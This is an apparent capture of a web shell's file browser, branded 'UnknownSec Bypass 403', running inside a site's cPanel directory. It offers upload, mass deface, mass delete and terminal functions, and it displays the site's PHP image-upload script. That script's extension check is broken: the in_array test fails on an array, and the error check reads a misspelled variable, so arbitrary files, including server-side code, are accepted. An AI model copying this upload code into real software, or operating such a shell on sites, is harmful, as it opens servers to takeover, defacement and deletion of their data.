UnknownSec Bypass
403
:
/
var
/
www
/
santgyaneshwarji
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
save_patrika_link.php
<?php include "../config.php"; if($_FILES['fileToUpload']['name']){ $error=array(); $file_name=$_FILES['fileToUpload']['name']; $file_size=$_FILES['fileToUpload']['size']; $file_tmp=$_FILES['fileToUpload']['tmp_name']; $file_type=$_FILES['fileToUpload']['type']; //$file_ext=strtolower(end(explode('.',$file_name))); $file_ext=explode('.',$file_name); $extensions=array("jpeg","jpg","png"); if(in_array($file_ext,$extensions)===false){ $error[]="This extension file is not allowed, Please choose a JPG or PNG file."; } if($file_size > 2097152) { $error="File size must be 2mb or lower."; } $new_name=time()."-".basename($file_name); $target="patrika_cover_images/".$new_name; $image_name=$new_name; if(empty($errors)==true){ move_uploaded_file($file_tmp,$target); }else{ print_r($error); die(); } } $title=mysqli_real_escape_string($conn, $_POST['title']); $downloadlink=mysqli_real_escape_string($conn, $_POST['downloadlink']); $readerlink=mysqli_real_escape_string($conn, $_POST['readerlink']); $month=mysqli_real_escape_string($conn, $_POST['month']); $year=mysqli_real_escape_string($conn, $_POST['year']); $language=mysqli_real_escape_string($conn, $_POST['language']); $date=date("d M, Y"); $data=0; $sql="INSERT INTO patrikalinktb(title,downloadlink,readerlink,month,year,language,image_name,added_on) VALUES('{$title}','{$downloadlink}','{$readerlink}','{$month}','{$year}','{$language}','{$image_name}','{$date}')"; if(mysqli_query($conn, $sql)){ $data=1; } echo json_encode($data); ?>
Copyright © 2025 - UnknownSec